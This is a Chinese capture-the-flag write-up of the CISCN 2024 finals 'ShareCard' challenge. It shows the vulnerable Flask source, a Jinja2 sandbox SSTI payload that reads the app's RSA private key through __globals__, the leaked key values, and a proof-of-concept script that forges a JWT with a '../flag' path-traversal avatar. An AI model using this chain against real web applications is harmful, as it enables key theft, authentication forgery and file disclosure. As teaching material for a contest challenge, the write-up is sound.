以2024 CISCN 决赛 ShareCard为例题
app.py源码如下
from flask import Flask, request, url_for, redirect, current_app
from jinja2.sandbox import SandboxedEnvironment
from Crypto.PublicKey import RSA
from pydantic import BaseModel
from io import BytesIO
import qrcode
import base64
import json
import jwt
import os
class SaferSandboxedEnvironment(SandboxedEnvironment):
def is_safe_attribute(self, obj, attr: str, value) -> bool:
return True
def is_safe_callable(self, obj) -> bool:
return False
class Info(BaseModel):
name: str
avatar: str
signature: str
def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
def safer_render_template(template_name, **kwargs):
env = SaferSandboxedEnvironment(loader=current_app.jinja_env.loader)
return env.from_string(open('templates/'+template_name,encoding='utf-8').read()).render(**kwargs)
app = Flask(__name__)
rsakey = RSA.generate(1024)
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w',encoding='utf-8').write(request.form.get('style'))
info=Info(**request.form)
if info.avatar not in os.listdir('avatars'):
raise FileNotFoundError
token = jwt.encode(dict(info), rsakey.exportKey(), algorithm="RS256")
share_url = request.url_root + url_for('show_card', token=token)
qr_img = BytesIO()
qrcode.make(share_url).save(qr_img,'png')
qr_img.seek(0)
share_img = base64.b64encode(qr_img.getvalue()).decode()
return safer_render_template("created.html", share_url=share_url, share_img=share_img)
@app.route("/showCard", methods=["GET"])
def show_card():
token = request.args.get("token")
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
info = Info(**data)
info.parse_avatar()
return safer_render_template("show.html", info=info)
@app.route("/", methods=["GET"])
def index():
return redirect(url_for('create_card'))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=True)
函数分析
题目自定义了safer_render_template
函数进行模板渲染,对其分析:
is_safe_attribute
方法
这个方法被用来判断是否允许访问对象的某个属性。在这个例子中,由于 is_safe_attribute
总是返回 True
,这意味着所有属性访问都被认为是安全的。然而,在实际应用中,你可能会根据 obj
和 attr
的值来决定是否允许访问。
is_safe_callable
方法
这个方法被用来判断是否允许调用对象上的某个方法或函数。在这个例子中,由于 is_safe_callable
总是返回 False
,这意味着不允许在模板中调用任何方法或函数,这可以防止执行可能有副作用的操作,如文件读取或写入。
漏洞分析
观察模板代码show.html中有这样的代码:
<style>
{% include 'style.css' %}
</style>
由此漏洞点可以进行SSTI,但是由于沙盒的waf,我们正常的ssti只能访问属性,而不能调用方法,例如:
{{"".__class__}}
会回显
{{''.__class__.__base__.__subclasses__()}}
而这个则会被沙箱waf掉
所以需要我们换一种思路,只用SSTI来读取属性值,最后达成目的。
通过分析代码我们发现这里如果我们知道了rsakey
那么我们便可以伪造token,进行路径穿越读取/flag
文件。
rsakey = RSA.generate(1024)
def parse_avatar(self):
self.avatar = base64.b64encode(open('avatars/'+self.avatar,'rb').read()).decode()
def show_card():
token = request.args.get("token")
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
info = Info(**data)
info.parse_avatar()
return safer_render_template("show.html", info=info)
知识点:在函数或类方法中,我们经常会看到
__init__
初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__
属性,__globals__
属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__
属性返回一个字典,里面包含了函数定义时所在模块的全局变量。
看到这里思路变清晰了,首先我们构造style.css
文件来进行SSTI通过info
这个类的一个方法进而获取rsakey
这个全局变量的值。
@app.route("/createCard", methods=["GET", "POST"])
def create_card():
if request.method == "GET":
return safer_render_template("create.html")
if request.form.get('style')!=None:
open('templates/style.css','w',encoding='utf-8').write(request.form.get('style'))
经过测试,由于沙箱环境的限制,只能通过传入的kwarge来获取局部的属性
safer_render_template(template_name, **kwargs):
由于 info
在showCard路由下被传参了,所以我们可以在这里进行SSTI获取key
payload:
?style={{info.__class__.parse_avatar.__globals__.rsakey}}
然后借助正常的token
去访问showCard
路由,查看源代码,发现获取成功
<style>
{'_n': Integer(161210744376063743996764747306366133556310977538280316573133870284852521447300715823157203876118062161600512936536880635296933563019776913026894678633981811509001121523442060146157146296553896781975789811762380380617864123998172778986952639624663036839985840053324944429694336951018267860467124312337917968711), '_e': Integer(65537), '_d': Integer(58474162838329482436167251943074637896666713498500550001041423889960964242862947132004538992342348820887233063321275890290386441145072659536121989916347987070384272280696919747027814798954680927271161977143815439521211281831686152983211937525133648750611288996377748234485868759595213211419069491083778124341), '_p': Integer(12637141834515819030710639528165921340101574762658314972529676369204783083260788092211621451868051773065978347422140325719345281755496936463587317913415939), '_q': Integer(12756899185522229426614451976564930227255225075173299994668773704759679375936470287946267322228747878253874081134343992836485588793951281894040664470954349), '_u': Integer(9054644039266166228856335219269008530949431695458793028635262750029111876459058649346299421342091627888461961088958525824059156838014612693866747961228583), '_dp': Integer(426527881013000163204478914755069930028910132825734969852688468020827626839386350610679565001939828219508737117929938820684373151702995612515909291308361), '_dq': Integer(8945615696004472248636958809328997336679560840132129146207376491899851764345520317120811256659086718051074830198072033794442348661116912003973737233801501), '_invq': None}
</style>
再根据token生成的代码逻辑,来伪造token
data = jwt.decode(token, rsakey.publickey().exportKey(), algorithms=jwt.algorithms.get_default_algorithms())
伪造数据poc:
from Crypto.PublicKey import RSA
import jwt
n=161210744376063743996764747306366133556310977538280316573133870284852521447300715823157203876118062161600512936536880635296933563019776913026894678633981811509001121523442060146157146296553896781975789811762380380617864123998172778986952639624663036839985840053324944429694336951018267860467124312337917968711
e=65537
d=58474162838329482436167251943074637896666713498500550001041423889960964242862947132004538992342348820887233063321275890290386441145072659536121989916347987070384272280696919747027814798954680927271161977143815439521211281831686152983211937525133648750611288996377748234485868759595213211419069491083778124341
p=12637141834515819030710639528165921340101574762658314972529676369204783083260788092211621451868051773065978347422140325719345281755496936463587317913415939
q=12756899185522229426614451976564930227255225075173299994668773704759679375936470287946267322228747878253874081134343992836485588793951281894040664470954349
u=9054644039266166228856335219269008530949431695458793028635262750029111876459058649346299421342091627888461961088958525824059156838014612693866747961228583
rsa= RSA.RsaKey(n=n,e=e,d=d,p=p,q=q,u=u)
pem='''-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDlklxDiGoZDmdxeKpfItmSAhIo
8rrSLuotyyguzlc+1DWBhbfeRZYs+r3qbtamY7qGMfWhoMEFPqslmH8uWKW55gOC
djgNb00J492B1KCg0r3xW3UtFmlZ1IllhfGWJ65x3yHpcN9bZuKUY3HRq7XlzLsj
wf1oX0rqviwu3riBRwIDAQAB
-----END PUBLIC KEY-----'''
info={
"name":"aaa",
"avatar":"../flag",
"signature":"aaa"
}
token = jwt.encode(dict(info), rsa.exportKey(), algorithm="RS256")
print(token)
查看源码得到:
<src="data:image/svg+xml;base64,ZmxhZ3t4eHh9" />
解码拿到flag :flag{xxx}
以CISCN 2024决赛的shareCard题目为例,以上便是针对于沙箱下的SSTI利用的另一种方式,利用读取全局属性来配合其他漏洞达成目的。